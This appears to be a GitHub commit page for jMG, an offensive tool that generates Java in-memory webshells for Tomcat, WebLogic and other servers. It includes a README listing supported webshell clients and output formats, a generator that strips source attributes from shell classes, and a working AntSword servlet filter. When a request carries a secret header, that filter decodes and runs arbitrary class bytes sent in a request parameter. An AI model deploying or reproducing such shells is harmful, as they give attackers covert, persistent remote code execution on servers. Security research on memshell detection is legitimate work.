Skip to content

Commit b6e34b3

Browse files
committed
61快乐
1 parent 1e4291e commit b6e34b3

File tree

99 files changed

+11805
-127
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

99 files changed

+11805
-127
lines changed

README.md

Lines changed: 53 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -1,39 +1,65 @@
1-
# Java Memshell Generator
1+
<h4 align="right"><strong><a href="jmg-docs/README_EN.md">English</a></strong> | 中文 </h4>
2+
<p align="center">
3+
<h1 align="center">Java Memshell Generator</h1>
4+
<div align="center">
5+
<img alt="GitHub watchers" src="https://img.shields.io/github/watchers/pen4uin/java-memshell-generator?style=flat-square">
6+
<img alt="GitHub forks" src="https://img.shields.io/github/forks/pen4uin/java-memshell-generator?style=flat-square">
7+
<img alt="GitLab Stars" src="https://img.shields.io/github/stars/pen4uin/java-memshell-generator.svg?style=flat-square">
8+
</div>
9+
<div align="center">一款支持高度自定义的 Java 内存马生成工具</div>
10+
</p>
211

3-
## 0x01 Introduce
12+
<img src="./jmg-docs/img/gui.png" width="900px" />
413

5-
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。
14+
<br>
615

7-
主要功能如下:
8-
- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux)
9-
- 支持的工具 (AntSword/Behinder/Godzilla/Suo5)
10-
- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod)
11-
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
12-
- 支持的辅助模块 (专项漏洞封装/表达式语句封装)
16+
> [!WARNING]
17+
> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
1318
14-
> 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
19+
<br>
1520

21+
## 功能
1622

17-
## 0x02 Usage
23+
| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
24+
|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
25+
| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
26+
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
27+
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
28+
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
29+
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | |
30+
| Undertow | | Custom | | JAR_AGENT | |
31+
| GlassFish | | | | JS | |
32+
| | | | | JSP | |
1833

19-
下载 jMG-GUI.jar 运行即可
34+
## 编译
2035

21-
![](./img/gui.png)
36+
- maven
2237

38+
```shell
39+
mvn package assembly:single
40+
```
2341

24-
## 0x03 Reference
25-
26-
使用手册
27-
- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg)
28-
- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA)
29-
- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA)
30-
- [jMG v1.0.8](https://mp.weixin.qq.com/s/HkceemQBtKJeWMBrMvUeXA)
42+
- jmg-gui
3143

32-
参考项目
33-
```
34-
https://github.com/woodpecker-appstore/jexpr-encoder-utils
35-
https://github.com/feihong-cs/memShell
36-
https://github.com/su18/MemoryShell
37-
https://github.com/BeichenDream/GodzillaMemoryShellProject
38-
https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
44+
```shell
45+
java -jar ./jmg-gui/target/jmg-gui-1.0.8-jar-with-dependencies.jar
3946
```
47+
48+
## 文档
49+
50+
- [jMG v1.0.8](https://9ex.org/jmg-1-0-8/)
51+
- [jMG v1.0.6](https://9ex.org/jmg-1-0-6/)
52+
- [jMG v1.0.5](https://9ex.org/jmg-1-0-5/)
53+
- [jMG v1.0.4](https://9ex.org/jmg-1-0-4/)
54+
55+
## 致谢
56+
57+
- https://github.com/c0ny1
58+
- https://github.com/whwlsfb
59+
- https://github.com/feihong-cs/memShell
60+
- https://github.com/su18/MemoryShell
61+
- https://github.com/BeichenDream/GodzillaMemoryShellProject
62+
63+
## 协议
64+
65+
- 遵循 MIT 协议

img/gui.png

-46.7 KB
Binary file not shown.

img/sglab.svg

Lines changed: 0 additions & 100 deletions
This file was deleted.

jmg-antsword/pom.xml

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<parent>
5+
<groupId>jmg</groupId>
6+
<artifactId>java-memshell-generator</artifactId>
7+
<version>${revision}</version>
8+
</parent>
9+
<artifactId>jmg-antsword</artifactId>
10+
11+
12+
<dependencies>
13+
<dependency>
14+
<groupId>jmg</groupId>
15+
<artifactId>jmg-core</artifactId>
16+
<version>${revision}</version>
17+
<scope>compile</scope>
18+
</dependency>
19+
</dependencies>
20+
21+
</project>
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
package jmg.antsword.generator;
2+
3+
import javassist.ClassClassPath;
4+
import javassist.CtClass;
5+
import jmg.core.config.AbstractConfig;
6+
import jmg.core.config.Constants;
7+
import jmg.core.generator.IShellGenerator;
8+
import jmg.antsword.util.ShellUtil;
9+
import jmg.core.util.CommonUtil;
10+
import jmg.core.util.JavassistUtil;
11+
import jmg.core.util.ResponseUtil;
12+
public class AntSwordGenerator implements IShellGenerator {
13+
14+
@Override
15+
public void initShell(AbstractConfig config) {
16+
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
17+
}
18+
19+
@Override
20+
public byte[] makeShell(AbstractConfig config) throws Exception {
21+
initShell(config);
22+
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
23+
String shellClassName = ShellUtil.getShellClassName(shellName);
24+
byte[] bytes = modifyShell(shellClassName, config);
25+
config.setShellBytes(bytes);
26+
config.setShellBytesLength(bytes.length);
27+
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
28+
return bytes;
29+
}
30+
31+
@Override
32+
public byte[] modifyShell(String className, AbstractConfig config) {
33+
byte[] bytes = new byte[0];
34+
try {
35+
pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
36+
CtClass ctClass = pool.getCtClass(className);
37+
ctClass.getClassFile().setVersionToJava5();
38+
JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
39+
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
40+
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
41+
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
42+
43+
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
44+
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
45+
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
46+
}
47+
JavassistUtil.removeSourceFileAttribute(ctClass);
48+
bytes = ctClass.toBytecode();
49+
ctClass.detach();
50+
} catch (Exception e) {
51+
e.printStackTrace();
52+
}
53+
return bytes;
54+
}
55+
56+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package jmg.antsword.memshell;
2+
3+
import javax.servlet.*;
4+
import javax.servlet.http.HttpServletRequest;
5+
import javax.servlet.http.HttpServletResponse;
6+
import java.io.IOException;
7+
import java.lang.reflect.Method;
8+
import java.net.URL;
9+
import java.net.URLClassLoader;
10+
11+
public class AntSwordFilter implements Filter {
12+
public String pass;
13+
public String headerName;
14+
public String headerValue;
15+
16+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
17+
HttpServletRequest request = (HttpServletRequest) servletRequest;
18+
HttpServletResponse response = (HttpServletResponse) servletResponse;
19+
try {
20+
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
21+
String cls = request.getParameter(pass);
22+
if (cls != null) {
23+
try {
24+
byte[] data = doBase64Decode(cls);
25+
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
26+
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
27+
method.setAccessible(true);
28+
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
29+
clazz.newInstance().equals(new Object[]{request, response});
30+
} catch (Exception var7) {
31+
}
32+
}
33+
} else {
34+
filterChain.doFilter(servletRequest, servletResponse);
35+
}
36+
} catch (Exception e) {
37+
filterChain.doFilter(servletRequest, servletResponse);
38+
}
39+
}
40+
41+
public byte[] doBase64Decode(String str) throws Exception {
42+
try {
43+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
44+
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
45+
} catch (Exception var5) {
46+
Class clazz = Class.forName("java.util.Base64");
47+
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
48+
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
49+
}
50+
}
51+
52+
public void init(FilterConfig filterConfig) throws ServletException {
53+
}
54+
55+
public void destroy() {
56+
}
57+
}

0 commit comments

Comments
 (0)